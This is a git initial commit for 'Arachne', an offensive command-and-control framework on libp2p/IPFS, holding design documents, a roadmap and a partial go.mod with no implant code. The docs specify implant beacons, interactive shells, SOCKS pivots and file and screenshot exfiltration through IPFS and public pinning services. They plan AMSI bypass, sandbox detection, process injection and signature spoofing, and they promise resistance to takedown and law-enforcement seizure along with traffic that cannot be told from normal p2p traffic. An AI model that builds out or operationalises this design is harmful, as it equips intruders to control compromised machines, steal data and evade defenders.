Initial commit: Arachne C2 framework

Decentralized C2 framework built on libp2p (IPFS networking stack).
No servers, no domains, no IPs to block - cryptographic peer identities
communicating over the global p2p network.

Includes:
- Architecture, protocol, implant, server, and security model docs
- Protobuf message definitions (commonpb, arachnepb, rpcpb)
- Cryptography package (Ed25519 keys, signing, PeerID)
- Transport package (libp2p host, GossipSub pubsub, relay)
- Config package with shared types
This commit is contained in:
portbuster
2026-06-03 00:18:10 +10:00
commit 365c9663d2
23 changed files with 6557 additions and 0 deletions
+12
View File
@@ -0,0 +1,12 @@
*.key
*.priv
*.pub
operator.*
implant.*
vendor/
dist/
build/
*.exe
*.test
*.out
.DS_Store
+56
View File
@@ -0,0 +1,56 @@
# Arachne C2
A decentralized Command & Control framework built on **libp2p** (the peer-to-peer networking
stack behind IPFS). No servers, no domains, no IPs to block — just cryptographic identities
communicating over the global p2p network.
Inspired by [Sliver](https://github.com/BishopFox/sliver) (BishopFox's adversary emulation
framework), but redesigned for decentralized infrastructure.
## Key Idea
Instead of running a C2 server on a VPS that can be taken down, Arachne uses **GossipSub
(PubSub)** and **direct libp2p streams** over the IPFS peer-to-peer network. Your implant
fleet and operator are all equal peers in the network — no central point of failure.
## Features (Planned)
- No-cost infrastructure — uses public libp2p network
- Censorship-resistant — no IPs or domains to block
- Beacon mode (async) and session mode (interactive)
- IPFS-based data exfiltration (CID-addressed files)
- Interactive shell, port forwarding, SOCKS5 proxy
- Cross-platform implants (Windows, Linux, macOS)
- Multi-operator support
- Protocol Buffers message format
- Ed25519 cryptographic identities
## Project Structure
```
arachne/
├── docs/ # Design documentation
│ ├── architecture.md # System architecture
│ ├── protocol-spec.md # Wire protocol specification
│ ├── implant-design.md # Implant architecture
│ ├── server-operator-design.md # Operator node design
│ ├── ipfs-integration.md # IPFS/libp2p usage
│ └── development-roadmap.md # Build plan
├── server/ # Operator node (the "server")
├── implant/ # Implant agent code
├── client/ # CLI / TUI client
├── protobuf/ # Protocol Buffers definitions
└── pkg/ # Shared libraries
├── cryptography/ # Crypto primitives
├── transport/ # libp2p transport helpers
├── config/ # Shared config types
└── util/ # Utilities
```
## Getting Started
_Coming soon — see the [development roadmap](docs/development-roadmap.md)._
## License
GPLv3 (same as Sliver)
+91
View File
@@ -0,0 +1,91 @@
# Arachne C2 Architecture
## Overview
Arachne is a decentralized Command & Control (C2) framework inspired by Sliver (BishopFox/sliver),
but built on **libp2p** — the modular peer-to-peer networking stack from Protocol Labs (creators of IPFS).
Instead of hosting centralized C2 servers on VPS/cloud infra (which can be taken down, blocked, or
fingerprinted), Arachne uses the global libp2p DHT + GossipSub for **operator discovery, implant
communications, and command relay** — all without any central server, static IP, or DNS.
## Why libp2p Instead of HTTP/DNS/mTLS/WireGuard (Sliver's Approach)
| Feature | Sliver | Arachne |
|---|---|---|
| Transport | mTLS, HTTP(S), DNS, WireGuard | libp2p (TCP, WebSocket, QUIC) |
| Server identity | Static IP / domain | PeerID (cryptographic) |
| Discovery | Hardcoded C2 endpoints | DHT + PubSub topic discovery |
| Resilience | Multiple listeners | Any peer can relay |
| Takedown | Block IP/domain | Unbounded: must Sybil the DHT |
| NAT traversal | Manual / WireGuard | AutoNAT + relay + hole-punching |
| Encryption | Per-binary asymmetric keys | libp2p noise/TLS + protobuf envelopes |
| Implant comms | Polling / long-poll / DNS ticks | PubSub streaming + direct streams |
## High-Level Architecture
```
┌─────────────────────────────────────────────────────────────┐
│ libp2p Network (DHT + GossipSub) │
│ │
│ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐ │
│ │ Operator │ │ Implant │ │ Implant │ │ Relay │ │
│ │ (Client) │ │ (Agent) │ │ (Agent) │ │ Node │ │
│ └────┬─────┘ └────┬─────┘ └────┬─────┘ └────┬─────┘ │
│ │ │ │ │ │
│ └──────────────┴──────────────┴──────────────┘ │
│ All subscribe to │
│ "arachne/<op-id>/commands" │
│ "arachne/<op-id>/beacons" │
└─────────────────────────────────────────────────────────────┘
```
## Key Components
### 1. Operator Node (Client)
- Connects to libp2p network with a **PeerID** derived from an operator key
- Subscribes to `arachne/<op-id>/beacons` topic for implant check-ins
- Publishes commands on `arachne/<op-id>/commands`
- Opens direct libp2p streams for interactive sessions (shell, socks, portfwd)
### 2. Implant Node (Agent)
- Compiled with an **operator's public key** (embedded at build time)
- Connects to IPFS/libp2p bootstrap peers or uses embedded peer list
- Subscribes to command topic, publishes heartbeat to beacon topic
- Supports beacon mode (async polling via PubSub) and session mode (direct stream)
### 3. Relay Nodes
- Any libp2p peer can act as a relay (no cost, no registration)
- AutoNAT + relay protocol for NAT traversal
- No special server software — standard libp2p relays
### 4. IPFS Data Layer (Optional)
- Exfiltrated files, screenshots, loot stored as IPFS objects (CID-addressed)
- CIDs sent back via PubSub (small metadata only)
- Data retrieved by operator via IPFS directly (no C2 channel needed for bulk data)
## Communication Model
| Message Type | Transport | Pattern |
|---|---|---|
| Beacon / Heartbeat | GossipSub topic | Implant -> PubSub -> Operator |
| Command dispatch | GossipSub topic | Operator -> PubSub -> Implant |
| Task result | GossipSub topic | Implant -> PubSub -> Operator |
| Interactive shell | Direct libp2p stream | Bidirectional stream |
| File download | Direct stream or IPFS | Stream or IPFS block fetch |
| SOCKS / Portfwd | Direct stream | Proxied through libp2p |
| Pivot | Nested libp2p stream | Implant -> Implant -> Operator |
## Security Model
- **Implant identity**: Each implant generates an ephemeral keypair on first run, signed by operator's key
- **Encryption**: All libp2p transports are encrypted (Noise XX or TLS 1.3) per spec
- **Message auth**: Envelopes are signed with the sender's private key
- **Operator auth**: Only the operator with the correct private key can publish to `arachne/<op-id>/commands`
- **Forward secrecy**: Ephemeral session keys for direct streams
## Why "Arachne"?
Arachne is the Greek goddess of weaving and spiders — fitting for a framework that weaves a
decentralized web of connections between operator and implants, where any node can be a relay
and the network distributes control across thousands of peers.
+74
View File
@@ -0,0 +1,74 @@
# Development Roadmap
## Phase 0: Foundation (Weeks 1-2)
- [x] Project structure and documentation
- [ ] Go module initialization (`go mod init`)
- [ ] libp2p host setup (TCP + WebSocket transports)
- [ ] Ed25519 key generation and PeerID derivation
- [ ] GossipSub topic subscription and publishing
- [ ] Basic Envelope protobuf definition
## Phase 1: Core Protocol (Weeks 3-4)
- [ ] Implant registration and beacon model
- [ ] Operator node: subscribe to beacons, dispatch commands
- [ ] Envelope signing and verification
- [ ] Task execution and result delivery
- [ ] Reconnect / resilience logic
## Phase 2: Implant Capabilities (Weeks 5-8)
- [ ] File system operations (ls, cd, pwd, download, upload)
- [ ] Process enumeration (ps)
- [ ] Command execution (execute, shell)
- [ ] Screenshot capture
- [ ] Cross-platform support (Linux, Windows, macOS)
- [ ] Beacon interval + jitter configuration
## Phase 3: Interactive Sessions (Weeks 9-10)
- [ ] Direct libp2p stream establishment
- [ ] Interactive shell with PTY support
- [ ] Port forwarding
- [ ] SOCKS5 proxy through implant
- [ ] Session multiplexing
## Phase 4: IPFS Integration (Weeks 11-12)
- [ ] IPFS data exfiltration (CID-based file transfer)
- [ ] IPNS for operator key rotation
- [ ] Public pinning service integration (optional)
- [ ] Filecoin storage deals (future)
## Phase 5: Operator Tooling (Weeks 13-14)
- [ ] CLI (Cobra) with all commands
- [ ] TUI console (interactive mode)
- [ ] gRPC local API for GUI clients
- [ ] Multi-operator support
- [ ] Implant generation command
## Phase 6: Advanced Features (Weeks 15-16)
- [ ] Evasion techniques (sandbox detection, AMSI bypass)
- [ ] Process injection and migration
- [ ] Windows token manipulation
- [ ] Pivot through compromised implants
- [ ] COFF/BOF loading (inline execution)
## Phase 7: Hardening (Ongoing)
- [ ] End-to-end encryption review
- [ ] Traffic analysis resistance
- [ ] Protocol fuzzing
- [ ] Go routine leak detection
- [ ] Memory safety review of implant
## Tech Stack
| Component | Technology |
|---|---|
| Language | Go (1.22+) |
| P2P Networking | [go-libp2p](https://github.com/libp2p/go-libp2p) |
| PubSub | [go-libp2p-pubsub](https://github.com/libp2p/go-libp2p-pubsub) |
| Serialization | Protocol Buffers (proto3) |
| DHT | [go-libp2p-kad-dht](https://github.com/libp2p/go-libp2p-kad-dht) |
| Relay | [go-libp2p-circuit](https://github.com/libp2p/go-libp2p-circuit) |
| IPFS | [go-ipfs-api](https://github.com/ipfs/go-ipfs-api) or embedded |
| CLI | [Cobra](https://github.com/spf13/cobra) |
| TUI | [Bubble Tea](https://github.com/charmbracelet/bubbletea) |
| RPC | [gRPC](https://grpc.io/) |
| DB | SQLite (via [modernc.org/sqlite](https://modernc.org/sqlite)) |
+102
View File
@@ -0,0 +1,102 @@
# Implant Design
## Overview
The Arachne implant is a lightweight Go binary that connects to the libp2p network and
communicates with its operator entirely through decentralized pubsub and direct p2p streams.
## Directory Structure
```
implant/
├── main.go # Entry point
├── generate.go # Build-time configuration injection
├── implant.go # Core implant lifecycle
├── scripts/ # Build scripts
└── arachne/ # Implant runtime
├── constants/ # Build-time constants (operator PeerID, etc.)
├── cryptography/ # Ed25519 key management, signing, encryption
├── encoders/ # Data encoders for staging/evasion
├── evasion/ # Anti-analysis, sandbox detection
├── handlers/ # Message handler dispatch
├── limits/ # Resource limits, watchdog
├── priv/ # Privilege escalation helpers
├── procdump/ # Process dumping
├── ps/ # Process listing
├── registry/ # Windows registry
├── screen/ # Screenshot capture
├── shell/ # Interactive shell / PTY
├── transports/ # libp2p transport initialization
├── taskrunner/ # Async task execution queue
├── pivots/ # Pivot through other implants
└── util/ # Shared utilities
```
## Build Process
1. Operator runs `arachne generate --os windows --arch amd64`
2. Server injects operator's public key, bootstrap peers, and config
3. Go compiler builds with `-ldflags` for string obfuscation
4. Optional: UPX pack, signature spoofing, or other evasion
## Core Lifecycle
### Startup
1. Parse embedded config (operator PeerID, bootstrap peers, beacon interval)
2. Generate ephemeral Ed25519 keypair (persisted to disk if possible)
3. Initialize libp2p host with:
- TCP + WebSocket transports
- AutoNAT + relay client for NAT traversal
- GossipSub pubsub
4. Subscribe to `arachne/<op>/commands`
5. Publish `BeaconRegister` to `arachne/<op>/beacons`
6. Enter main loop
### Main Loop (Beacon Mode)
```
loop:
Listen on command topic (with timeout = interval)
If command received:
Validate signature against operator key
Dispatch to handler
Publish result to beacons topic
Sleep(interval + random(jitter))
```
### Session Mode
```
on "open-session" command:
Open direct libp2p stream to operator
Upgrade to encrypted bidirectional channel
Handle interactive commands (shell, socks, etc.)
On disconnect: return to beacon mode
```
## Transport Configuration
The implant tries transports in order:
1. TCP (direct connection to relay/bootstrap peers)
2. WebSocket (for restrictive networks, port 443)
3. WebRTC (via libp2p, for browser-based implants)
4. Circuit relay (via libp2p relay peers)
### Bootstrap Peers
- Compiled-in list of known public libp2p peers
- Falls back to IPFS bootstrap peers if none specified
- Discovers additional peers via DHT on connection
## Platform Support
| Feature | Windows | Linux | macOS |
|---|---|---|---|
| libp2p TCP | ✓ | ✓ | ✓ |
| libp2p WS | ✓ | ✓ | ✓ |
| Process list | ✓ | ✓ | ✓ |
| File ops | ✓ | ✓ | ✓ |
| Shell | ✓ (cmd/pwsh) | ✓ (bash/zsh) | ✓ (zsh/bash) |
| Screenshot | ✓ | ✓ (X11/Wayland) | ✓ |
| Registry | ✓ | - | - |
| Service mgmt | ✓ | ✓ (systemd) | ✓ (launchd) |
| Process injection | ✓ | - | - |
| Token manipulation | ✓ | - | - |
| Named pipe pivot | ✓ | - | - |
+89
View File
@@ -0,0 +1,89 @@
# IPFS & Decentralized Infrastructure Integration
## Why IPFS for C2?
Traditional C2 frameworks rely on centralized infrastructure (VPS, domains, CDNs) that
are single points of failure. IPFS/libp2p provides:
1. **No-cost infrastructure** — use the public IPFS network (no hosting bills)
2. **Censorship resistance** — cannot block a CID, cannot take down a peer easily
3. **NAT traversal** — libp2p relays + AutoNAT + hole-punching eliminate the need for public IPs
4. **Content addressing** — data integrity verified by hash, tamper-proof exfiltration
5. **Persistence** — IPFS pinning services (public/self-hosted) keep data available
## Capabilities Used
### libp2p (Required)
| Feature | Use in Arachne |
|---|---|
| **Peer Identity** | Cryptographic identity (Ed25519) for operator, implants, relays |
| **GossipSub** | PubSub topics for command/beacon messaging |
| **DHT** | Peer discovery, relay discovery, content routing |
| **AutoNAT** | NAT status detection |
| **Circuit Relay** | Relay connections when direct dial fails |
| **Hole Punching** | Direct p2p connections through NAT |
| **Stream Multiplexing** | Multiple concurrent channels per connection |
| **Noise/TLS Security** | Encrypted, authenticated transports |
### IPFS (Optional — recommended)
| Feature | Use in Arachne |
|---|---|
| **Content Addressing** | Exfiltrated files, screenshots, logs identified by CID |
| **Bitswap** | Peer-to-peer block exchange for file retrieval |
| **Pinning** | Keep exfiltrated data available on IPFS |
| **IPNS** | Mutable pointers to operator's latest public key or config |
| **MFS** | Manage file structure for loot organization |
### No-Cost Public Infrastructure
| Resource | How to Use |
|---|---|
| IPFS public bootstrap peers | `/dnsaddr/bootstrap.libp2p.io` — discoverable by default |
| Protocol Labs bootstrap relays | Public relay servers for NAT traversal |
| Public IPFS gateways | `https://ipfs.io/ipfs/<cid>` to fetch exfiltrated data from any browser |
| pinata.cloud / web3.storage | Free tier for pinning exfiltrated IPFS data |
| IPFS desktop / CLI | Run local node or connect to public gateways |
## Data Exfiltration Flow
```
Implant:
1. Capture screenshot → encode as PNG
2. Add to local IPFS → get CID: QmX...
3. Encrypt with one-time key → store alongside
4. Pin to IPFS (or send to pinning service)
5. Send tiny envelope on beacons topic:
{ type: SCREENSHOT, data: { cid: "QmX...", key: "..." } }
Operator:
1. Receive envelope from beacon topic
2. Fetch data: ipfs get QmX... or https://ipfs.io/ipfs/QmX...
3. Decrypt with provided key
4. Store locally
```
## Steganography / Covert Channels
Since all IPFS traffic looks like regular p2p file sharing:
- Encrypted C2 traffic is indistinguishable from normal IPFS block transfers
- Implants can blend in as regular IPFS nodes
- Traffic analysis cannot distinguish C2 from content distribution
## Limitations & Mitigations
| Limitation | Mitigation |
|---|---|
| DHT lookup latency | Keep DHT routing table warm; use direct connections after discovery |
| Public relay bandwidth limits | Self-host relays; use hole-punching for direct connections |
| IPFS public network exposure | Encrypt all data; use ephemeral keys |
| IPFS garbage collection | Pin important data; use pinning services |
| libp2p peer churn | Maintain persistent connections to reliable peers |
## Future: Filecoin Integration
For long-term persistence of exfiltrated data:
- Store data on Filecoin network (decentralized storage marketplace)
- Retrieval deals for fetching data
- Permanent, verifiable storage with economic guarantees
+113
View File
@@ -0,0 +1,113 @@
# Arachne Protocol Specification
## 1. Peer Identity
### 1.1 Key Derivation
```
Operator Key: Ed25519 private key (operator.priv)
Operator PeerID: libp2p PeerID derived from operator.priv public key
Implant Key: Ephemeral Ed25519 (generated on first run)
Implant PeerID: libp2p PeerID from implant public key
```
### 1.2 Implant Certificate
On first execution, the implant generates:
- `implant.ed25519` - ephemeral keypair
- Registration envelope signed by operator key (embedded at build time)
## 2. Topic Structure
All topics use GossipSub via libp2p PubSub.
```
arachne/<operator-peerid>/commands # Operator -> Implants (read by all implants)
arachne/<operator-peerid>/beacons # Implants -> Operator (heartbeat & results)
arachne/<operator-peerid>/tasks/<implant-peerid> # Direct task routing
```
### Topic Authorization
- `commands` topic: messages validated against operator's public key
- `beacons` topic: messages validated against implant's public key
- Implants drop messages not signed by the operator on `commands`
- Operator drops messages not signed by known implants on `beacons`
## 3. Envelope Format
All messages use Protocol Buffers (same approach as Sliver).
```protobuf
message Envelope {
int64 ID = 1;
uint32 Type = 2;
bytes Data = 3;
bytes Signature = 4; // Signed by sender's key
bytes SenderKey = 5; // Public key of sender
}
message BeaconRegister {
string ImplantID = 1;
int64 Interval = 2;
int64 Jitter = 3;
Register Register = 4;
}
message Register {
string Name = 1;
string Hostname = 2;
string UUID = 3;
string Username = 4;
string UID = 5;
string GID = 6;
string OS = 7;
string Arch = 8;
int32 PID = 9;
string Filename = 10;
string Version = 11;
int64 PeerID = 12;
}
```
## 4. Session Types
### 4.1 Beacon Mode (Async)
1. Implant subscribes to `commands` topic
2. Implant publishes `BeaconRegister` on `beacons` topic
3. Operator reads beacon, publishes tasks on `tasks/<id>` topic
4. Implant executes tasks, publishes results on `beacons`
5. Implant sleeps for `Interval + random(0, Jitter)`
### 4.2 Interactive Session Mode (Stream)
1. Operator initiates direct libp2p stream to implant
2. Bidirectional encrypted stream for shell/portfwd/socks
3. Uses libp2p stream multiplexing
## 5. Message Types
| Type | ID | Direction | Description |
|---|---|---|---|
| REGISTER | 0 | Implant -> Op | Initial beacon/registration |
| PING | 1 | Bidirectional | Keepalive |
| TASK | 2 | Op -> Implant | Execute command |
| TASK_RESULT | 3 | Implant -> Op | Command output |
| SHELL | 4 | Bidirectional | Interactive shell |
| DOWNLOAD | 5 | Implant -> Op | File exfiltration |
| UPLOAD | 6 | Op -> Implant | File deployment |
| SOCKS | 7 | Bidirectional | SOCKS proxy tunnel |
| PORTFWD | 8 | Bidirectional | Port forwarding |
| SCREENSHOT | 9 | Implant -> Op | Screen capture |
| LS | 10 | Op -> Implant | List directory |
| CD | 11 | Op -> Implant | Change directory |
| EXECUTE | 12 | Op -> Implant | Run command |
| DISCONNECT | 255 | Bidirectional | Clean close |
## 6. Data Exfiltration via IPFS
For large data (files, screenshots, logs):
1. Implant pins data to IPFS and gets a CID
2. Implant sends a small envelope containing the CID + encryption key
3. Operator fetches the data from IPFS using the CID
4. Optionally decrypts with the key sent in-band
This keeps the C2 channel low-bandwidth and hard to detect.
+129
View File
@@ -0,0 +1,129 @@
# Security Model — Sole Ownership & Permissioned Access
## Core Principle
**You are the sole owner of your data. No one else — not relay operators, not IPFS nodes, not
ISP observers — can read your C2 traffic, identify your implants, or access exfiltrated data.**
Unlike centralized C2 frameworks where a server operator (or hosting provider, or law enforcement)
could seize the server and read everything, Arachne's decentralized model ensures that
cryptographic ownership and access control are built into every layer.
## End-to-End Ownership
### 1. Operator Key = Ownership
The operator's Ed25519 private key is the root of trust. It is:
- **Never shared** — not with relays, not with bootstrap peers, not with IPFS nodes
- **Never stored on any network** — only on the operator's local machine
- **The sole credential** that can authorize implants and decrypt data
```
Operator Private Key (NEVER leaves operator's machine)
├── Derives Operator PeerID (public identity)
├── Signs implant binaries (proves ownership)
├── Signs all commands (authenticity)
└── Encrypts exfil data keys (confidentiality)
```
### 2. What a Relay/Bootstrap Peer Sees
A libp2p relay forwards encrypted traffic. It sees:
- `Source PeerID -> Destination PeerID` (who is talking to whom)
- Encrypted bytes (cannot read contents)
- PubSub topic names (e.g., `arachne/<peerid>/commands`) — topic IDs are hashes of the operator's public key
Relays **cannot**:
- Decrypt message contents
- Authenticate as the operator
- Send commands to implants
- Distinguish C2 traffic from any other libp2p traffic
- Identify the data as C2 traffic
### 3. What an IPFS Node Sees
When using IPFS for data exfiltration, IPFS nodes see:
- Encrypted blocks with content hashes (CIDs)
- No knowledge of what the data is or who it belongs to
- No ability to decrypt without the one-time key sent in-band over the C2 channel
IPFS nodes **cannot**:
- Decrypt exfiltrated files (encrypted before uploading to IPFS)
- Correlate blocks to a specific operator
- Distinguish Arachne data from any other IPFS content
```
Exfiltration Flow:
Implant:
1. Encrypt data with one-time AES-256-GCM key
2. Upload encrypted blob to IPFS -> CID: QmEncryptedBlob
3. Send over C2 channel (encrypted via libp2p Noise):
{ type: EXFIL, cid: QmEncryptedBlob, key: <one-time-key> }
Network observer sees: IPFS block transfer (indistinguishable)
Operator sees: Decrypted file contents
```
## Layered Encryption
| Layer | Protocol | Protects |
|---|---|---|
| Transport | libp2p Noise XX / TLS 1.3 | Eavesdropping, MITM on wire |
| PubSub | Envelope signing (Ed25519) | Impersonation, replay |
| Message | Per-message signing | Integrity, authenticity |
| Exfil | One-time AES-256-GCM + CID | Data at rest on IPFS |
| Command | Signed envelopes | Only operator can send commands |
## Threat Model & Guarantees
### Operator is compromised
- **Impact**: Total loss — attacker controls everything
- **Mitigation**: Multi-operator support; each operator has their own key
- **Hardware key support** (future): Store operator key on YubiKey / TPM
### libp2p relay is malicious
- **Impact**: Can see PeerIDs communicating, drop relay traffic
- **Mitigation**: Relays only see encrypted bytes; hole-punching avoids relays after connection
- **Cannot**: Read messages, impersonate operator, modify traffic
### IPFS node is malicious
- **Impact**: Can refuse to serve blocks (DoS)
- **Mitigation**: Fetch via multiple gateways; pin on multiple services
- **Cannot**: Decrypt blocks (AES-256-GCM), know what data is
### DHT / Sybil attack
- **Impact**: Attacker could intercept peer discovery
- **Mitigation**: Implants store direct backup peer list; operator PeerID is signed
- **Cannot**: Forge operator identity, decrypt messages
### Social / Traffic analysis
- **Impact**: Observer sees that "PeerID X talks to PeerID Y"
- **Mitigation**:
- Implants can use random PeerIDs per session
- Cover traffic (random noise published to topics)
- Traffic indistinguishable from normal libp2p/IPFS usage
## Data Sovereignty Checklist
| Concern | How Arachne Addresses It |
|---|---|
| Who owns the data? | Only the operator — data encrypted before touching the network |
| Who can read commands? | Only implants with the operator's public key embedded |
| Who can send commands? | Only the operator with the private key |
| Who can read exfil? | Only the operator — one-time key sent over encrypted C2 channel |
| Who knows implant locations? | Only the operator (discovery via signed DHT records) |
| Can a relay block me? | Yes, but any libp2p relay works — use multiple |
| Can IPFS lose my data? | Yes, if unpinned — use pinning services or Filecoin |
| Can traffic be identified as C2? | No — indistinguishable from regular p2p traffic |
## Operational Security Recommendations
1. **Generate operator key on an air-gapped machine** and transfer only the public key
2. **Use unique implant keypairs** — never reuse across engagements
3. **Rotate operator key** periodically (use IPNS for key rotation)
4. **Pin exfiltrated data** to at least 3 independent pinning services
5. **Enable cover traffic** to mask beacon timing signatures
6. **Use ephemeral PeerIDs** for implants (regenerate on each run)
7. **Self-host a libp2p relay** for resilience against public relay rate limits
8. **Prefer hole-punching** over relayed connections for sensitive sessions
+128
View File
@@ -0,0 +1,128 @@
# Server & Operator Design
## Architecture
The "server" is not a traditional server — it's an **operator node** that participates in the
libp2p network as a peer. No central infrastructure is required beyond what the libp2p network
provides (DHT, relays, bootstrap peers).
```
┌─────────────────────────────────────────────────────────────┐
│ Operator Node Process │
│ │
│ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌────────────┐ │
│ │ CLI/GUI │ │ Console │ │ RPC │ │ Background │ │
│ │ (Cobra) │ │ (TUI) │ │ (gRPC) │ │ Services │ │
│ └────┬─────┘ └────┬─────┘ └────┬─────┘ └─────┬──────┘ │
│ │ │ │ │ │
│ └──────────────┴──────────────┴──────────────┘ │
│ │ │
│ ┌─────┴──────┐ │
│ │ Core │ │
│ │ (Events, │ │
│ │ State, │ │
│ │ Dispatch)│ │
│ └─────┬──────┘ │
│ │ │
│ ┌─────┴──────┐ │
│ │ Transport │ │
│ │ (libp2p) │ │
│ └────────────┘ │
└─────────────────────────────────────────────────────────────┘
│
libp2p Network
```
## Directory Structure
```
server/
├── main.go # Server node entry point
├── README.md
├── core/ # Core orchestration
│ ├── state.go # Implant registry, session state
│ ├── events.go # Event bus for internal dispatch
│ └── dispatch.go # Task routing to implants
├── transport/ # libp2p setup
│ ├── host.go # libp2p host initialization
│ ├── pubsub.go # GossipSub topic management
│ └── streams.go # Direct stream handling
├── handlers/ # Message handlers
│ ├── beacon.go # Beacon registration & check-in processing
│ ├── commands.go # Command dispatch
│ └── interact.go # Interactive session handlers
├── generate/ # Implant generation
│ ├── generate.go # Build orchestration
│ └── templates/ # Go source templates
├── loot/ # Exfiltrated data management
│ ├── store.go # Local storage
│ └── ipfs.go # IPFS integration for retrieval
├── cryptography/ # Key management
│ ├── keys.go # Operator key generation
│ └── signing.go # Message signing & verification
├── console/ # Interactive console
│ ├── tui.go # Terminal UI
│ └── commands.go # Operator command handlers
├── cli/ # CLI entry points
│ └── root.go # Cobra root command
├── db/ # Local database
│ ├── sqlite.go # SQLite for implant metadata
│ └── migrations/ # Schema migrations
└── configs/ # Configuration management
└── config.go # Operator config loading
```
## Key Responsibilities
### 1. Implant Discovery & Management
- Listen on `arachne/<op>/beacons` topic
- Accept `BeaconRegister` messages and validate signatures
- Maintain in-memory and SQLite-backed implant registry
- Track implant state: online/offline/last-checkin
### 2. Command Dispatch
- Subscribe to beacons to detect active implants
- Accept operator commands from CLI/RPC
- Publish tasks on `arachne/<op>/tasks/<implant-id>`topic
- Await results on beacon topic or via stream
### 3. Interactive Sessions
- Open direct libp2p stream to implant (via DHT lookup or relay)
- Bidirectional shell, port forwarding, SOCKS proxy
- Stream multiplexing for concurrent channels
### 4. Implant Generation
- Compile implant binaries with operator's public key embedded
- Cross-compilation for Windows/Linux/macOS
- Support for staged payloads (small stager downloads full implant)
- Signature spoofing and evasion options
### 5. Loot / Data Retrieval
- Receive CIDs from implants via beacon messages
- Fetch data from IPFS (local IPFS node or public gateway)
- Store locally with metadata
## Multi-Operator Support
Multiple operators can control the same implant fleet:
- Each operator has their own keypair
- Implants can be built with multiple operator public keys
- Each operator subscribes to their own `arachne/<op>/beacons`
- Commands are signed and implants verify before execution
## gRPC API (Local)
The operator node exposes a local gRPC API (bound to localhost) for:
- GUI clients to connect
- External tooling integration
- Remote operator access via authenticated tunnel
```protobuf
service ArachneRPC {
rpc GetImplants(Empty) returns (Implants);
rpc GetImplant(ImplantID) returns (Implant);
rpc SendCommand(CommandRequest) returns (CommandResponse);
rpc OpenSession(SessionRequest) returns (stream SessionData);
rpc GenerateImplant(GenerateRequest) returns (GenerateResponse);
}
```
+112
View File
@@ -0,0 +1,112 @@
module github.com/anomalyco/arachne-c2
go 1.22
require (
github.com/benbjohnson/clock v1.3.5 // indirect
github.com/beorn7/perks v1.0.1 // indirect
github.com/cespare/xxhash/v2 v2.3.0 // indirect
github.com/containerd/cgroups v1.1.0 // indirect
github.com/coreos/go-systemd/v22 v22.5.0 // indirect
github.com/davecgh/go-spew v1.1.1 // indirect
github.com/davidlazar/go-crypto v0.0.0-20200604182044-b73af7476f6c // indirect
github.com/decred/dcrd/dcrec/secp256k1/v4 v4.3.0 // indirect
github.com/docker/go-units v0.5.0 // indirect
github.com/elastic/gosigar v0.14.3 // indirect
github.com/flynn/noise v1.1.0 // indirect
github.com/francoispqt/gojay v1.2.13 // indirect
github.com/go-task/slim-sprig/v3 v3.0.0 // indirect
github.com/godbus/dbus/v5 v5.1.0 // indirect
github.com/gogo/protobuf v1.3.2 // indirect
github.com/google/gopacket v1.1.19 // indirect
github.com/google/pprof v0.0.0-20240727154555-813a5fbdbec8 // indirect
github.com/google/uuid v1.6.0 // indirect
github.com/gorilla/websocket v1.5.3 // indirect
github.com/hashicorp/golang-lru/v2 v2.0.7 // indirect
github.com/huin/goupnp v1.3.0 // indirect
github.com/ipfs/go-cid v0.4.1 // indirect
github.com/ipfs/go-log/v2 v2.5.1 // indirect
github.com/jackpal/go-nat-pmp v1.0.2 // indirect
github.com/jbenet/go-temp-err-catcher v0.1.0 // indirect
github.com/klauspost/compress v1.17.9 // indirect
github.com/klauspost/cpuid/v2 v2.2.8 // indirect
github.com/koron/go-ssdp v0.0.4 // indirect
github.com/libp2p/go-buffer-pool v0.1.0 // indirect
github.com/libp2p/go-flow-metrics v0.1.0 // indirect
github.com/libp2p/go-libp2p v0.36.5 // indirect
github.com/libp2p/go-libp2p-asn-util v0.4.1 // indirect
github.com/libp2p/go-libp2p-pubsub v0.12.0 // indirect
github.com/libp2p/go-msgio v0.3.0 // indirect
github.com/libp2p/go-nat v0.2.0 // indirect
github.com/libp2p/go-netroute v0.2.1 // indirect
github.com/libp2p/go-reuseport v0.4.0 // indirect
github.com/libp2p/go-yamux/v4 v4.0.1 // indirect
github.com/marten-seemann/tcp v0.0.0-20210406111302-dfbc87cc63fd // indirect
github.com/mattn/go-isatty v0.0.20 // indirect
github.com/miekg/dns v1.1.62 // indirect
github.com/mikioh/tcpinfo v0.0.0-20190314235526-30a79bb1804b // indirect
github.com/mikioh/tcpopt v0.0.0-20190314235656-172688c1accc // indirect
github.com/minio/sha256-simd v1.0.1 // indirect
github.com/mr-tron/base58 v1.2.0 // indirect
github.com/multiformats/go-base32 v0.1.0 // indirect
github.com/multiformats/go-base36 v0.2.0 // indirect
github.com/multiformats/go-multiaddr v0.13.0 // indirect
github.com/multiformats/go-multiaddr-dns v0.4.0 // indirect
github.com/multiformats/go-multiaddr-fmt v0.1.0 // indirect
github.com/multiformats/go-multibase v0.2.0 // indirect
github.com/multiformats/go-multicodec v0.9.0 // indirect
github.com/multiformats/go-multihash v0.2.3 // indirect
github.com/multiformats/go-multistream v0.5.0 // indirect
github.com/multiformats/go-varint v0.0.7 // indirect
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect
github.com/onsi/ginkgo/v2 v2.20.0 // indirect
github.com/opencontainers/runtime-spec v1.2.0 // indirect
github.com/pbnjay/memory v0.0.0-20210728143218-7b4eea64cf58 // indirect
github.com/pion/datachannel v1.5.8 // indirect
github.com/pion/dtls/v2 v2.2.12 // indirect
github.com/pion/ice/v2 v2.3.34 // indirect
github.com/pion/interceptor v0.1.30 // indirect
github.com/pion/logging v0.2.2 // indirect
github.com/pion/mdns v0.0.12 // indirect
github.com/pion/randutil v0.1.0 // indirect
github.com/pion/rtcp v1.2.14 // indirect
github.com/pion/rtp v1.8.9 // indirect
github.com/pion/sctp v1.8.33 // indirect
github.com/pion/sdp/v3 v3.0.9 // indirect
github.com/pion/srtp/v2 v2.0.20 // indirect
github.com/pion/stun v0.6.1 // indirect
github.com/pion/transport/v2 v2.2.10 // indirect
github.com/pion/turn/v2 v2.1.6 // indirect
github.com/pion/webrtc/v3 v3.3.0 // indirect
github.com/pkg/errors v0.9.1 // indirect
github.com/pmezard/go-difflib v1.0.0 // indirect
github.com/prometheus/client_golang v1.20.0 // indirect
github.com/prometheus/client_model v0.6.1 // indirect
github.com/prometheus/common v0.55.0 // indirect
github.com/prometheus/procfs v0.15.1 // indirect
github.com/quic-go/qpack v0.4.0 // indirect
